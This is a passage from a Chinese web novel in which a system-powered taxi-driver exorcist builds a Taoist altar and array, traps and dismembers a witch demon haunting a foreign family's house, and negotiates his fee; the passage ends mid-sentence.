女巫恶魔发出一声尖锐的嘶啸,似乎对雷霆颇为忌惮。
它身形猛地一晃,变得如同水中倒影般模糊不清,竟然在间不容发之际,以一种违反物理规律的诡异方式,险之又险地侧身避开了雷光的正面轰击!
第127章 这可不是简单的琴盒,这可是...
古德护着一家六口,快步从阴森压抑的房子撤出。
惊魂未定的卡洛琳丈夫和五个紧紧牵着手、小脸煞白的女儿,脚步踉跄,几乎是跌跌撞撞地回到了停在路边的出租车旁。
看到家人安全出来,一直焦急等待的卡洛琳立刻推开车门冲了下来,一把抱住丈夫罗杰,声音带着哭腔:“罗杰!感谢上帝!你们没事吧?孩子们还好吗?”
古德在一旁听着,心里忍不住吐槽:
“没事?要不是我进去得及时,你老公孩子怕是要被那老巫婆当玩具玩坏了!这问的不是废话嘛!”
不过面上他还是保持着专业人士的淡定。
卡洛琳安抚了一下丈夫和孩子,然后转向杵着青铜法剑正凝神望向房子的古德,担忧地问道:
“古先生,那个……恶魔,现在怎么样了?被消灭了吗?”
古德的目光没有离开房子。
透过一扇二楼的窗户,他能清晰地看到,那个白袍女巫恶魔正站在那里,猩红的眼睛也正隔着玻璃死死地盯着他们。
见古德看过来,它那扭曲的脸上竟然露出了一个充满挑衅和恶意的狞笑,仿佛在说:“有本事你进来啊!”
古德毫不客气,直接抬起空着的左手,对着窗户方向比了一个国际通用、含义明确的手势。
然后,他才转过身,面色严肃地对卡洛琳和罗杰说道:
“事情有点棘手。那个恶魔和这栋房子的联系非常深,它似乎是通过某种古老的邪恶仪式,将自己的灵魂和这片土地捆绑在了一起。
在这里,它的力量非常强大,而且很善于躲藏。常规的驱赶或者直接攻击,很难彻底解决它,它随时可以躲回房子的‘深处’。”
卡洛琳和罗杰一听古德说那恶魔与房子深度绑定,脸色“唰”地一下变得惨白,毫无血色。
罗杰声音颤抖地问:
“那……那怎么办?这房子是我们几乎掏空了积蓄才买下的,我们……我们不能没有这个地方啊!我们一家能搬去哪里?”
他看向那栋阴森房子的眼神,充满了绝望和不舍,仿佛那不只是房子,而是他半生的心血。
古德听得直翻白眼,心里再次吐槽:
“好家伙!都什么时候了,还在惦记房子?命都快没了,还在考虑不动产?这老外的脑回路真是清奇!”
但他面上依旧保持着专业人士的扑克脸,只是摆了摆手,打断两人的焦虑,用不容置疑的语气说道:
“放心,既然我接了这单生意,就会负责到底。我们东方驱魔人,讲究信誉。”
听到古德肯定的答复,卡洛琳这才稍微松了口气,她连忙追问,声音里带着急切:“那……古先生,我们接下来该怎么做?需要准备什么吗?”
古德嘴角勾起一抹自信的弧度,目光再次投向那栋怨气冲天的鬼屋,语气平淡却带着一股强大的气场,缓缓吐出几个字:
“接下来?起法坛,布大阵,捉鬼擒魔!”
“瓦特.....起……法坛?布……大阵?”
卡洛琳和罗杰面面相觑,脸上写满了茫然和巨大的困惑,像听天书一样,完全无法理解这几个充满东方神秘色彩的词汇,“沃特……艾斯……谈?安得……阿瑞?”(Whatis坛?And阵?)
他们试图模仿发音,结果更加滑稽。
古德看着这一家子老外那懵懂又带着点敬畏的样子,无奈地挥了挥手,懒得费口舌解释这博大精深的道门文化:
“算了算了,跟你们这群歪果仁解释不清楚我们老祖宗传下来的专业术语。你们不用管具体是什么,等会儿一切行动听指挥,我让你们站哪儿就站哪儿,让你们别动就别动,全力配合就行。”
说着,他不再耽搁,从随身的那个看起来鼓鼓囊囊的帆布挎包里,又麻利地掏出一小叠明黄色的符纸,数出七张。
这些符是纸扎陈最近手艺精进后,尝试批量生产的“基础护身符”。
虽然效果和能量强度比不上古德亲手灌注法力、精心绘制的精品符,但基础的辟邪、稳固心神、预警阴气过盛的功能还是杠杠的。
而且胜在成本低、量又足,非常适合眼下这种需要给普通人提供基础防护的场合。
“来,每人一张,拿好,贴身放稳当咯。”
古德将符箓逐一分发给惊魂未定的七人(包括卡洛琳),特意强调。
“最好是放在贴身的衣服内袋里,或者紧紧握在手心,别随便塞裤兜里。
只要这符纸不突然自己烧起来,或者颜色迅速变黑、发脆粉碎,就说明你们周围还算安全,那玩意儿的气息还没强到能瞬间突破这层防护。”
接着,古德将一直背在身后的那个看起来颇为沉重的黑色大琴盒取了下来,小心翼翼地平放在相对平整的地面上。
他看到卡洛琳一家好奇又带着点畏惧的目光,随口解释道:
“别以为这只是个装剑的普通盒子。这可是我们东方驱魔人特制的——移动式多功能便携驱魔工作站,最新升级版!”
语气里带着点不易察觉的小得意。
这大琴盒外表看确实只是个装剑的琴盒,但它的真正玄妙之处,在于它是一个高度集成的便携法坛!
乃是纸扎陈倾心倾注心血打造的得意之作。
只见古德半蹲下身,手指在琴盒两侧几个看似装饰、实为机关枢纽的木质凸起处,有节奏地或轻或重地拍打、按压了几下。
盒体内顿时传来一阵细微而清脆、犹如钟表齿轮咬合的“咔嚓咔嚓”机括声,精密得让人惊叹。
随后,他双手稳稳握住盒子两端,或推或拉,或旋或扭,进行了一系列
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令人眼花缭乱、却又充满某种独特韵律感的操作。
就像是变魔术一样,只听“咔哒”几声脆响,一个结构稳固、高度适中、桌面平整的小型法桌,竟然就这么在几分钟内,从那个长条盒子里被巧妙地组装了出来!
法桌的桌腿是可折叠的支架,展开后稳稳立在地上。桌面上铺着一张质地优良、用金线绣着中央太极八卦图、边缘环绕神秘符文的明黄色绸布,显得庄重而神秘。
桌角的一个特定卡槽里,还稳稳地固定着一个看起来有些年头的紫铜香炉。
而琴盒本身剩余的空间,则通过精妙的隔层设计,变成了多个分类清晰的收纳格。
里面整齐地摆放着桃木剑、令旗、铜钱、朱砂笔、一叠空白的黄符纸等起坛必备的法器。
设计之精妙,让人叹为观止。
这自然是纸扎陈这位发明家的又一力作。
古德之所以能熟练地掌握起坛布阵这套复杂的传统流程,还得益于他之前用公里点数把张至顺道长所著的《炁体源流》点到了LV2。
那本书不仅深入阐述了修炼的境界层次,更包含了非常详实具体的起坛法规仪和阵法布置要诀,知识体系相当完整系统,简直就是**家实战百科全书。
不过,传统的道士起坛做法,往往需要配合本门的核心**来催动,并且必须供奉祖师爷的神像,借助祖师传承的力量才能施展某些高深的秘术。
但在这个世界,这样的传统手法已经很难奏效。
只有像古德这样的"系统派"驱魔人,不走寻常路,才能绕过这些限制。
他只需要按照系统优化、简化过的起坛流程操作,就能施展出系统传授的法坛相关的各种术法和阵法,相当于开辟了一个新赛道。
理论上来说,一旦法坛成功设立,他甚至可以尝试远程"摇人",向谢潮和周星星他们供奉的"齐天大圣"和"情癫大圣"借点神力过来用用。
毕竟这两位“大圣”能顺利“落户”,古德前期也出了不少力,这这点面子对方还是会给的。
这种借来的力量,甚至能临时加持在普通人身上,让他们获得短暂的请神能力。
但是……古德瞥了一眼身边这群金发碧眼、连"法坛"是啥都搞不懂的歪果仁……
“算了算了,我自己都接受不了让这群老外请神上身的画面。还是靠自己扎实!”
古德立刻打消了这个念头。
他深吸一口气,排除杂念,凝神静气。
双手在刚刚组装好的法坛上熟练地摆放好各类法器,准备先按照《炁体源流》中记载的阵法知识,准备先布下一个驱邪缚魅的法阵,将那个躲藏起来的女巫恶魔给逼出来!
第128章 离火炼邪,五雷锁魔阵
法坛布置妥当,古德神色肃穆,周身气息沉凝。
他先从法器格中取出三支上好的降真香,以左手持香,右手掐子午诀护持。
香体触手的瞬间,他默运体内纯阳真气,指尖在香头轻轻一抹。
只见香头凭空燃起三点赤红火星,青烟袅袅升起,笔直如线,在空气中凝而不散,散发出清心宁神的气息。
古德将香恭敬地插入紫铜香炉,分三次插入,形成三才方位。
口中低吟净天地神咒:"天地自然,秽气分散......"
随着咒文念诵,香烟竟在空中自然盘旋,结成莲花状,将整个法坛笼罩在一层淡淡的清光之中。
接着,古德转向一旁惊魂未定的罗杰问道:"罗杰先生,你家中可备有生石灰?需是未经潮解的生石灰粉。"
罗杰愣了一下,努力回想,突然记起来:
“有!有的!上个星期院子角落有蚂蚁窝,我买了一袋生石灰用来杀虫,还没用完,就放在后院工具棚旁边!”
古德点了点头,吩咐道:
“好。现在,需要你帮忙,把那袋石灰拿出来,均匀地撒在房子四周,围成一个完整的圈,不要有断开的地方。”
罗杰一听要自己单独靠近房子,脸上立刻露出恐惧和为难的神色,嘴唇哆嗦着:
“古……古先生……我……我一个人去吗?那个恶魔它……”
古德看出罗杰的恐惧,不慌不忙地从法坛上抽出两张符。
一张是护身符,一张是辟邪符,古德将符递过去,语气沉稳中带着不容置疑:
“拿着这个,贴身放好。有我的符箓护着,加上我在这里坐镇,它不敢轻易动你。想想你的房子,还想不想要了?”
罗杰接过符纸,看着那两张看似普通的黄纸,心里虽然将信将疑,想起古德之前在屋里挥剑退魔的英姿,再看看身后妻女期盼的眼神,再想到这栋倾注了全家大部分积蓄的房子。
他一咬牙,脸上露出豁出去的表情,重重地点了点头,仿佛不是去撒石灰,而是要去炸碉堡。
他小心翼翼地将符纸塞进衬衫内袋,还特意拍了拍确认放妥了,这才转身小跑着去找石灰。
“记住,石灰圈一定要连贯,不能断开!”古德在他身后又叮嘱了一句。
“明白!”罗杰远远地应了一声。
在道家看来,石灰乃大地之火煅烧而成,性烈燥,至阳至刚,是地火之精,有隔绝阴邪、破秽除瘴的功效。
古德打算以这石灰圈为基,布下第一道屏障。
没过多久,罗杰就提着一袋石灰回来了。
古德仔细检查了石灰的质量,确认是上好的生石灰粉,这才放心让他去布置。
趁着罗杰撒石灰的工夫,古德走到出租车后备箱,翻找一阵,拿出一个长长的纸筒。
打开一看,是一卷宽约五十厘米的大红色洒金宣纸。
这卷红纸还是昨天古德乔迁新居时,**非说喜庆,硬塞给他的,说是可以剪“囍”字贴着。
古德当时还吐槽又不是结婚贴什么喜字,随手就扔后备箱了,没想到今天在这异国他乡派上了用场。
他把这卷红纸递给卡洛琳:
“卡洛琳女士,麻烦你带着孩子们帮个忙,把这卷纸裁成大约一米长一段,能裁出几张算几张。”
卡洛琳虽然不明所以,但还是连忙点头,招呼五个女儿一起动手,小心翼翼地将红纸展开、度量、裁剪。
红纸上的金粉在阳光下闪闪发亮,显得格外喜庆。
趁着这个空档,古德提起插在地上的青铜法剑,走到路旁的小树林边。
他看准几根笔直、粗细适中的树枝,手起剑落,“唰唰”几下,便利落地砍下了十几根长约一米五左右的细长木棍,他顺手削去多余的枝杈,把木棍修整得光滑整齐。
这法剑砍妖除魔锋利,砍起凡木来更是如同切豆腐一般轻松。
这砍木头比砍鬼好砍多了。
处理好木棍,古德回到法坛前,将青铜法剑插到身旁土中,剑身微鸣,金光隐现,随时可以拔剑对敌。
这时,罗杰也气喘吁吁地跑了回来,抹了把汗:“古先生,石灰……石灰撒好了,围着房子一圈!”
古德点了点头,但还是不太放心。
他提起剩下的小半袋石灰,亲自沿着罗杰撒出的石灰圈外围缓步巡查。
他一边走,一边看似随意地在某些位置用脚尖点点地,实则暗运法力,在东、南、西、北、中五个关键方位,分别悄然埋下了一张五雷符和一颗特制的雷击枣木珠。
这些枣木珠是古德平日闲着用雷击过的枣木边角料打磨而成的,每颗珠子都刻上了五雷咒。此刻埋在地下,正好可以布成五雷锁魔阵的阵基。
一旦激发,就能引动雷霆之力,专门困锁邪魔。
检查完毕,他又将几处罗杰撒得较薄或有轻微断续的地方用石灰补上,确
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保石灰圈完整无缺。
做完这些,他回到法坛前,卡洛琳和女儿们也已经将红纸裁好。
那卷红纸不多不少,刚好裁出了九张长一米、宽五十厘米的红纸片。
古德招呼罗杰和卡洛琳一家,拿出之前**一并塞给他的浆糊,仔细教他们如何将每张红纸的两端分别粘在两根修剪好的木棍上。
随后,古德来到法坛前,取出一支狼毫符笔,在一个白玉小碟中倒入朱砂粉末,又谨慎地加入少许金粉,滴入清水和少量白酒,缓缓研磨,调成一碟至阳至刚、灵性充沛的朱砂墨。
不多时,九个简易的红色纸幡便制作完成,虽然做工略显粗糙,但红纸金纹在夕阳下熠熠生辉,自有一股肃穆之气。
古德顺着石灰圈,把红色纸幡均匀分布在石灰圈内侧前。
然后他拿起符笔,饱蘸墨汁,凝神静气,走到那九面插在石灰圈内侧、均匀分布的红色纸幡前。
笔走龙蛇,手腕沉稳,在每一面红幡的正中央,清晰地画上了一道复杂的离火符!
只见符头以“三光”(日、月、星)符号起笔,符胆内以“敕令”二字为核心,暗藏一个古篆“煊”字,笔画间蕴含着引动离火之精的玄妙力量。
红色纸幡本身属火,朱砂金粉至阳,正是承载离火之力的绝佳媒介。
九道离火符画毕,隐隐形成一个环绕房屋的阵势。
至此,离火炼邪大阵与外围的五雷锁魔阵均已布置完成!
古德抬头望天,夕阳的最后一抹余晖正洒向大地。
时机已到!
正好借助这落日时分天地间残留的最后一缕纯阳之气,引动大阵!
此离火炼邪阵一旦启动,并不会燃烧物理上的房屋,而是会在房屋内部形成一个巨大的“纯阳火炉”,专门炼化其中的阴邪之气。
届时,藏匿在屋内的恶魔必将如置身熔炉,被至阳离火灼烧,无处遁形,不得不逃出屋外。
而一旦它逃出,等待它的便是外围那张由五雷符和雷珠构成的天罗地网——五雷锁魔阵!
此阵既防止恶魔外逃,也为它准备了最后的雷霆净化,围困,方便活捉!
古德缓步走回法坛前,将手中的符笔放下,郑重地握起了那柄作为法坛主法的桃木剑。
他目光锐利地扫过卡洛琳一家,沉声道:“你们退到出租车后面,无论看到什么,听到什么,都不要靠近。”
接下来,便是启阵炼魔的时刻!
第129章 开坛,起阵
法坛之前,古德屏息凝神,将周遭一切杂念摒弃。
夕阳的最后一缕金光擦过树梢,将他的身影拉得修长。
他左手迅速结出一个繁复的手印。
拇指压住无名指根部,中指与食指并拢伸直,小指微曲,正是道家离文诀,象征离火之象,能沟通天地间的至阳之气。
与此同时,他右手紧握桃木法剑,剑尖轻挑,将法坛上早已备好的一张离火符精准地拍向空中!
符纸无风自动,悬浮在他面前。
古德目光如电,锁定那栋怨气冲天的鬼宅,口中急诵真言,声音清越:
“朱砂为引,离火成形!天地正气,听吾号令!阵——起!”
最后一个“起”字出口,他右手桃木剑猛地向前一刺,剑尖轻点在那悬浮的离火符上!
“轰!”
那离火符瞬间爆燃,化作一团人头大小、炽热无比的赤红色火球,却并无寻常火焰的灼热感,反而散发出一种净化邪祟的纯阳气息!
火球如同有灵性般,发出一声轻微的呼啸,疾速射向宅院的大门!
就在这主符火球触及门扉的刹那——
“嗡——!”
环绕房屋的九面红色离火纸幡仿佛受到了召唤,同时剧烈震颤起来!
幡面上用朱砂金粉绘制的离火符咒骤然亮起刺目的红芒,九道红光冲天而起,在空中隐隐交织,形成一个巨大的、将整栋房屋笼罩在内的无形力场!
更奇异的是,地面上那道由石灰撒成的圆圈,此刻也开始泛起朦胧的、如同烧红烙铁般的暗红色光芒,并且散发出高温灼烧空气时产生的扭曲蒸腾感。
以这石灰圈为界,圈外依旧清凉,而圈内的空间,温度却开始急剧攀升,空气扭曲晃动,仿佛一个看不见的巨大熔炉被点燃了!
这不是燃烧物质的凡火,而是直接灼烧阴性能量、净化邪祟的“纯阳真火”!
“嗷呜——!!!”
几乎在阵法启动的瞬间,房屋内部便传出了一阵凄厉到不似人声的尖啸!
那声音充满了极致的痛苦和暴怒,其中还夹杂着古老而恶毒的诅咒语,听得人头皮发麻!
紧接着,浓稠如墨的黑色怨气如同井喷般从房子的门窗缝隙、烟囱、甚至墙壁内部疯狂涌出!
这些怨气试图对抗灼烧它们的纯阳真火,两股性质截然相反的能量在房屋内外激烈碰撞、消磨,发出“嗤嗤”的异响,甚至一度将红色的火光逼退到房屋外墙附近,黑气翻滚,显得异常凶悍。
然而,那女巫恶魔凭借地脉阴气散发的凶戾,终究敌不过古德以阵法引动的、更为精纯浩大的天地纯阳之气。
僵持了不到十息,纯阳真火便以碾压之势,将黑色怨气一寸寸灼烧、净化,逼得它们节节败退,缩回房屋深处!
“@#¥%……&*!”
房屋内传来女巫恶魔气急败坏的尖叫声,它似乎在用某种古老的语言念诵着咒语,声音充满了疯狂和绝望,试图做最后的挣扎。
古德冷哼一声,岂会给它喘息之机?
他手诀一变,左手离文诀转为离宫催火印,食指中指并拢伸直,拇指扣住无名指指根,小指轻搭,右手桃木剑再次挑起一张离火符,口中疾诵:
“离宫烈焰,焚邪灭形!真火助我,破秽除氛!急急如律令!敕!”
第二张离火符化作流光没入阵中!
得到加强的离火大阵威力骤增!
那九面红纸幡上的符咒光芒大盛,幡面甚至开始自下而上地缓缓燃烧起来!
而它们所催动的纯阳真火,性质也发生了微妙的变化,温度仿佛并未继续升高,但其中蕴含的炼化之力却变得更为精纯、更为霸道!
这已不仅仅是灼烧,更是在转化为离火阳气!
更为惊人的是,地面上的石灰圈红光暴涨,其蕴含的地火之精的至阳属性,与离火符的灵性完美结合,竟开始强行扭转房屋所在地的地气属性!
原本滋养阴邪的地脉阴气,也被这强大的阵法之力硬生生地转化为炽热的离火阳气!
对于那个将自身灵魂与这片土地捆绑、依赖地脉阴气存在的西洋女巫恶魔而言,这无异于将它赖以生存的“水”瞬间变成了“油”,并将它扔进了烧开的油锅里!
“啊——!!!!!”
一声撕心裂肺、蕴含着无尽痛苦的惨嚎从房屋核心处爆发出来!
这痛苦远超之前被火焰灼烧魂体,那是源自根基被破坏、存在本身受到威胁的极致折磨!
在无法忍受的痛苦下,女巫恶魔再也无法维持隐匿状态,被迫现出了它的真身魔影!
只见一股浓稠如液体的黑烟从二楼某个窗口喷涌而出,黑烟在空中凝聚,化作一个高达近两米、扭曲狰狞的怪物!
它依稀能看出女性的轮廓,但皮肤呈现一种暗紫色的、仿佛被烈火灼烧过的焦黑质感,上面布满了尖锐的骨刺和扭曲的血管。
它的头颅比例失调,双眼是两个深不见底的漆黑孔洞,一张裂到耳根的大嘴里满是獠牙。
周身散发着浓郁的硫磺恶臭和冰冷的死亡气息,这正是它在绝望和痛苦中显露的恶魔本体!
这魔影发出一声饱含怨恨的咆哮,裹挟着令人作呕的黑烟与邪气,如同一个失控的炮弹,猛地冲破了离火阵对房屋的封锁,试图逃离这片已然变成它地狱的领域!
然而,它刚刚冲出房屋的范围时。
“等你多时了!”
古德嘴角勾起一抹冷冽的弧度。
他早已蓄势待发!
只见他左手五指张开,迅速在法坛上那张绘制好的五雷符上划过,随即并指如剑,遥指那刚刚落地的狰狞魔影,口中暴喝:
“五雷猛将,火车将军!腾天倒地,驱雷奔云!队仗百万,搜捉邪精!敢有违逆,押送酆都!急急如律令!”
咒语响彻暮色下的天空!
“轰咔——!!!”
一道刺目欲盲的湛蓝色闪电,仿佛撕裂苍穹,毫
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无征兆地从云层中劈落,精准无比地轰击在女巫恶魔的魔影头顶!
这仅仅是开始!
几乎在同一时间,预先埋设在东、南、西、北四个方位的五雷符同时被引动!
“噼里啪啦——!!!”
四道略细但同样蕴含毁灭性能量的白色电蛇从地下窜出,如同有生命的锁链般,瞬间缠绕上恶魔的四肢和躯干!
雷电之力至刚至阳,乃是天下一切阴邪之气的天然克星,无论东西方,概莫能外!
“滋滋滋——嗷!!!”
女巫恶魔发出了比之前被离火灼烧时痛苦百倍的凄厉哀嚎!
它的魔影在雷光中剧烈抽搐、扭曲,被雷电击中的地方冒出滚滚腥臭的黑烟,魂体以肉眼可见的速度变得黯淡、虚幻!
那雷电锁链不仅带来剧痛,更蕴含着强大的禁锢之力,将它死死地捆缚在原地,动弹不得!
五道雷光在空中交织成一张璀璨而致命的雷电罗网,将恶魔牢牢困在阵心。
它每一次挣扎,都会引发雷电锁链更强烈的反击,新的电火花不断迸射,灼烧着它的灵体,如同被关在雷电牢笼中遭受持续电刑的野兽,发出绝望而疯狂的嘶吼。
绝境之下,这恶魔凶性彻底被激发出来!
它那两个漆黑的眼洞死死锁定法坛前的古德,裂开的大嘴开始用那种古老而亵渎的语言,发出最恶毒、最疯狂的诅咒!
诅咒古德灵魂腐朽,肉身溃烂,永世不得超生!
然而,面对这无形的诅咒攻击,古德体表那层薄薄的金光骤然亮起,如同最纯净的琉璃罩,将一切邪恶的意念阻挡在外,万邪不侵!
恶魔的诅咒如同泥牛入海,连古德的一根头发丝都无法动摇。
下一瞬,古德动了!
他右脚在法坛前轻轻一跺,身形借力腾空而起,轻盈如燕,却带着一往无前的气势!
人在半空,右手那柄看似普通的桃木剑已然举起,剑身之上,浓郁的金光瞬间凝聚,仿佛实质!
“妖孽!伏诛!”
随着一声清喝,古德手臂发力,将那柄灌注了磅礴法力的桃木剑,如同投掷标枪般,化作一道金色的流星,疾射向被雷电锁链困住的恶魔真身!
“噗嗤!”
金光轻而易举地穿透了恶魔胸前翻滚的黑气,精准地没入了它的体内!
“呃啊——!”恶魔发出一声短促而痛苦的闷哼。
桃木剑上蕴含的破邪金光瞬间爆发,不仅重创了它的本源,那巨大的冲击力更是带着它向后倒飞,“咚”的一声闷响,将其死死地钉在了后方一棵粗大的树干之上。
这棵树还是它生前上吊死的那棵大树。
剑身兀自微微颤动,发出清越的嗡鸣。
古德一个利落的空翻,稳稳落地,衣袂飘动,神色平静。
他拍了拍手,仿佛只是完成了一件微不足道的小事,然后迈开步子,不紧不慢地走向那只被钉在树上、仍在雷光中痛苦抽搐的西洋恶魔。
第130章 你真的是自愿的?
古德缓步走到那棵粗大的槐树前。
此刻,那个不可一世的女巫恶魔,被桃木剑牢牢钉在树干上,周身缠绕的雷电锁链虽已隐去,但残余的电弧仍不时在它黯淡的灵体表面“噼啪”闪烁一下,激起一阵微弱的黑烟。
它那狰狞的头颅低垂着,先前暴戾凶残的气息荡然无存,只剩下深深的疲惫与无法掩饰的怨毒。
当古德靠近时,它才勉强抬起眼皮,用那双漆黑空洞的眼窝死死地盯着古德,眼神里充满了刻骨的仇恨,却已无力再发出咆哮或诅咒。
古德并没有立刻动手,而是摸着下巴,饶有兴致地打量着这个“战利品”,心里盘算起来:
“收鬼符这玩意儿是针对东方游魂野鬼设计的,不知道对西洋这种恶魔管不管用?得试试看。”
想到这儿,他从随身挎包里取出一个巴掌大小、瓶口贴着黄符的特制收魂瓷瓶。
他将瓶口对准树上的恶魔,右手食指中指并拢,默运法力,在瓶底绘制的收鬼符上轻轻一点,低喝一声:
“收!”
瓶口顿时产生一股针对灵体的吸力,一股无形的漩涡卷向恶魔。
然而,就在恶魔的灵体微微晃动,即将被拉扯的瞬间,它胸口被桃木剑钉住的位置,突然闪过一抹极其微弱、却异常顽固的暗红色邪光,硬生生抵消了瓷瓶的吸力!
恶魔的魂体只是轻轻震颤了一下,并未被吸入瓶中。
那女巫恶魔感受到这股失败的吸力,原本萎靡的精神似乎找回了一点底气,它艰难地抬起头,漆黑眼窝中竟然流露出一种赤裸裸的嘲讽神色。
古德眉头一皱,收回了瓷瓶。
“啧,果然不行。不是收不了,是这玩意儿抵触心理太强,不配合。”
他明白了关键所在。
收鬼符的原理类似于一种强制性的“牵引协议”,如果目标灵体意识清醒,怨气强烈且非常抗拒的一般都无法收服。
尤其是这种有根脚、有特定存在形式的恶魔,效果更会大打折扣,除非能彻底瓦解它的抵抗意志。
“敬酒不吃吃罚酒。”古德撇撇嘴,转身走回法坛前。
他伸手握住依旧插在地上的那柄青铜法尺剑的剑柄,“唰”的一声将其拔起。
剑身感受到主人的战意,发出一声轻微的嗡鸣。
看到古德再次拿起这柄让它吃尽苦头、蕴含破邪金光的法剑,那女巫恶魔眼中瞬间被巨大的惊恐填满!
它开始拼命挣扎,被钉住的身体剧烈扭动,发出“呜呜”的恐惧哀鸣,与之前的嚣张判若两魔。
古德可不理会它的恐惧。
他熟练地从法坛上抽出一张五雷符,“啪”的一声拍在宽阔的青铜剑脊之上,符纸上的朱砂符文与剑身的符文隐隐呼应。
对付这种阴邪至极的玩意儿,雷法永远是最直接、最有效的“沟通”方式。
他单手握紧剑柄,感受着剑身传来的沉甸甸的分量,目光锁定被钉在树上的恶魔。
没有多余的花哨动作,金光蔓延到剑身。
古德踏步上前,手臂挥动,带着风雷之势,一剑斩向恶魔那条由黑烟凝聚、却凝实如同实质的左臂!
“嗤——!”
剑锋划过,黑气溃散!
但恶魔的肢体比想象中更为坚韧,这一剑并未完全斩断,留下了些许粘连。
“还挺硬?”古德眉毛一挑,毫不犹豫地反手又是一剑!
这一次,金光与雷符之力爆发,如同热刀切黄油,将那残留的黑气彻底斩断!
恶魔的左臂化作一股浓烟,瞬间消散。
“嗷——!”恶魔发出凄厉的惨叫。
古德动作不停,剑光接连闪动!
右臂!斩!
左腿!斩!
右腿!斩!
他出手精准而迅速,每一剑都蕴含着破邪金光和五雷符的麻痹、净化之力。
那女巫恶魔在极致的痛苦中疯狂嘶嚎、抽搐,但被桃木剑钉住核心,又被雷法余威震慑,根本无力反抗,只能眼睁睁看着自己的灵体被“肢解”。
剧烈的痛苦和本源的重创,终于彻底摧毁了它最后的凶性。
当古德提着剑,似乎在打量下一个该砍哪里更好时,恶魔那狰狞的脸上,竟然挤出了清晰的
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、近乎哀求的神色。
它用尽最后力气,从喉咙里挤出沙哑断续、带着浓重口音但古德能听懂的声音:
“停……停下……求……求你……放过我……我……我愿意……跟你走……臣服……”
“愿意?”古德正准备落下的剑顿住了。
这个词触动了他的记忆。
系统好像提过,如果鬼物是自愿上车,那么搭乘出租车的行为也能产生公里数?
眼前这是个恶魔,如果它“自愿”跟古德走,那岂不是等于同意成为“乘客”?
古德收起剑,故意露出怀疑的表情,凑近了些,盯着恶魔那痛苦扭曲的脸问道:
“你真的愿意?心甘情愿跟我上车?可不是我拿剑逼你的哦!咱们要讲自愿原则。”
女巫恶魔此刻哪里还敢有半点犹豫,忙不迭地用力点头,生怕慢了一秒那柄可怕的剑又落下来。
被砍掉肢体虽然痛苦,但更让它恐惧的是剑上附带的雷霆之力,每一次斩击都如同将它的灵魂放在电椅上拷打,那种源自生命本能的颤栗和毁灭感,远比单纯的撕裂痛苦千万倍。
“自愿!是自愿的!”它几乎是哭着喊出来的。
“这还差不多。”古德满意地点点头。
不过,他可不会完全相信一个恶魔的口头承诺。
保险起见,他迅速掏出几张加强版的镇鬼符,不由分说地“**”贴在了恶魔的额头、胸口和残存的躯干上。
符纸一贴上,立刻散发出**之力,让恶魔的灵体更加凝滞。
接着,他握住桃木剑的剑柄,小心地将剑从树干上拔了出来,但剑尖依旧留在恶魔的灵体内,如同一个持续生效的镇物。
这样一来,就算在车上,这恶魔也翻不起什么浪花。
而且,这些伤是在车外造成的,严格来说不算“车内殴打乘客”,古德觉得自己还是很遵守“出租车司机职业道德”的。
处理妥当后,古德像拎着一件古怪行李一样,提着这个少了四肢、被桃木剑贯穿、贴满符纸的恶魔残躯,转身走向不远处惊魂未定的卡洛琳一家。
第131章 愉快的啊妹国之旅结束
卡洛琳、罗杰和他们的五个女儿,一直紧张地躲在出租车后面观望。
此刻看到古德手里提着那个恐怖恶魔的“残体”走过来,一家七口齐刷刷地倒吸一口冷气,下意识地又后退了几步,挤作一团,眼神里充满了恐惧和后怕。
古德对这家人的反应不以为意。
他径直走到出租车旁,拉开副驾驶的车门,像塞一个大型玩偶一样,把这个恶魔塞进了座位,还顺手给它“系”上了安全带,当然,安全带也是用符咒固定的。
他拍了拍手,对着副驾驶上那一团扭曲的黑影说道:“坐稳了,等会儿记得付车费啊,按表计价。”
那女巫恶魔闻言,扭曲的脸上露出错愕和为难的神色。
车费?它一个恶魔,哪来的美金?
但看着古德那似笑非笑的表情,它只能憋屈地点了点头,不敢有异议。
关好副驾驶的门,确保锁死,古德这才转向卡洛琳一家:
“好了,这个麻烦我已经打包带走了。它不会再回来骚扰你们。这房子里的阴脉源头也被我之前的阵法毁得差不多了,以后应该能安心住了。
现在,我们来谈谈费用问题,三万八千八百美元,你们看是现金还是……”
卡洛琳一家人惊魂未定,互相看了看,卡洛琳小心翼翼地问道:
“古……古先生,真的……真的彻底解决了吗?房子里……会不会还有别的……东西?”
她想起了那些曾经出现过的诡异现象,心有余悸。
经她这么一提醒,古德才想起来,电影里这房子好像还有几个被女巫控制的小鬼仆从。
“哦,你说那些小喽啰啊?”
他拍了拍额头,“估计刚才启动离火大阵的时候,顺带就把它们当杂质给炼化了吧。你们要是不放心,我陪你们进去再检查一遍。”
说完,他示意卡洛琳一家跟上,自己则拿出风水罗盘,一马当先,再次走进了那栋如今怨气已消散大半、但依旧残留着阴冷气息的房子。
卡洛琳一家互相搀扶着,战战兢兢地跟在后面。
古德举着罗盘,在每个房间、角落,尤其是地下室和阁楼这些容易藏污纳垢的地方都仔细探查了一番。
罗盘指针虽然还有些微晃动,但已不再是指向明确的阴灵,更像是残留邪气的干扰。
他确认,除了些许需要时间自然消散的负面能量外,已经没有任何具有威胁的灵体存在,地下的阴脉节点也被离火阵烧毁了。
“没问题了,彻底干净了。”
古德收起罗盘,对卡洛琳一家肯定地说道,“以后多开窗通风,晒晒太阳,住着就没问题了。”
听到古德如此肯定的答复,卡洛琳和罗杰对视一眼,长长地舒了一口气。
卡洛琳连忙表示相信古德,然后拉着丈夫到一边低声商量起来。
罗杰显然也被吓坏了,比起那个恶魔,他更担心如果支付不起费用,这位手段通天的东方驱魔师会不会不高兴。
他匆匆跑上二楼,不一会儿,拿着一个木盒子和一个看起来有些年头的丝绒小袋子走了下来。
“古先生,”罗杰将木盒打开,里面是码放整齐的厚厚几沓美钞,“这里是三万美元现金。剩下的八千……您看,能不能用这个抵偿?”
他有些忐忑地递上那个丝绒袋子。
古德接过袋子,入手沉甸甸的。
打开一看,里面是一个金光闪闪、比成年男子手掌略小的吊坠。
造型是一个八卦图案,但做工颇为古朴厚重,边缘有些不规则的磨损,看起来像是一块小金牌重新熔铸雕刻而成的,分量十足,堪称一块“小金砖”。
更让古德注意的是,当他指尖触碰到这八卦吊坠时,体内法力微微
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一动,竟隐隐感受到吊坠内部蕴含着一丝极其微弱、几乎消散殆尽的灵性波动!
这竟然是一件法器!
只是不知为何流落至此,且灵性近乎湮灭,如同沉睡了一般。
古德心中一动,但面上不动声色,他掂量了一下金坠子的分量,又看了看其工艺,故意沉吟了一下,才开口道:
